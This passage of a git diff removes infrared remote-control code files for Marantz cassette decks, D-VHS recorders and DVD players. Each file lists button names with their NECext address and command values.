Tape/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir deleted file mode 100644 index 694047601..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2A 00 00 00 -# -name: DECK_A -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2C 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2C 00 00 00 -# -name: DECK_B -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2E 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2E 00 00 00 -# -name: REVERSE_PLAY -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2F 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2F 00 00 00 -# -name: REC_PAUSE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 30 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 30 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 32 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 34 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir deleted file mode 100644 index d6672e15e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REC_MUTE -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir deleted file mode 100644 index c35fa8f29..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir deleted file mode 100644 index e85105ce5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 04 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PREV. -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: P._SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 1A 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 1D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: REC._LINK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 30 00 00 00 -# -name: REC._SPD. -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 84 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: S._SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: NAVI -type: parsed -protocol: NECext -address: 43 00 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir deleted file mode 100644 index ed1e4c513..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ANGLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir deleted file mode 100644 index 9968793f7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir +++ /dev/null @@ -1,812 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER_ON/STANDBY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: AUDIO_EX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SLOW_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: SLOW_BACKWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 23 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 23 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: FOWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: JOG/PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3A 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SACD_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: S._MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: S.MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: SURR. -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 78 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 78 00 00 00 -# -name: DISK_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISCSKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SET-UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: VIDEO_ADJUST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 96 00 00 00 -# -name: DISK_-1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: DISK_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B3 00 00 00 -# -name: DISK_-2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B4 00 00 00 -# -name: DISK_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B4 00 00 00 -# -name: DISK_-3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B5 00 00 00 -# -name: DISK_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B5 00 00 00 -# -name: DISK_-4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B6 00 00 00 -# -name: DISK_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B6 00 00 00 -# -name: DISK_-5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B7 00 00 00 -# -name: DISK_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B7 00 00 00 -# -name: NTSC/PAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C5 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: SEARCH_MODE1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: T-C -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CA 00 00 00 -# -name: FUNCTION_MEMO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CB 00 00 00 -# -name: CONDITION_MEMO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CC 00 00 00 -# -name: CONDITION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CC 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D1 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D2 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D3 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D3 00 00 00 -# -name: DIGEST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: LAST_MEMO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D7 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D7 00 00 00 -# -name: VOCAL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E7 00 00 00 -# -name: MARKER_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EE 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EE 00 00 00 -# -name: MARKER_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 -# -name: SEARCH_MODE2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F1 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F1 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F5 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F5 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F5 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F6 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F6 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F6 00 00 00 -# -name: PAGE_DN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F6 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: VIDEO_ON/OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir deleted file mode 100644 index 31d01319f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF_-DISCRETE1 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: C9 00 00 00 -# -name: POWER_ON_-DISCRETE2 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: C9 00 00 00 -# -name: POWER_OFF_-DISCRETE2 -type: parsed -protocol: NECext -address: 29 00 00 00 -command: CA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir deleted file mode 100644 index 6abe0f75b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2B 00 00 00 -# -name: A-B_RPT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2C 00 00 00 -# -name: LAST_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2E 00 00 00 -# -name: SUBTITLE_ON_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir deleted file mode 100644 index 8d3fd6f06..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: FOWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3A 00 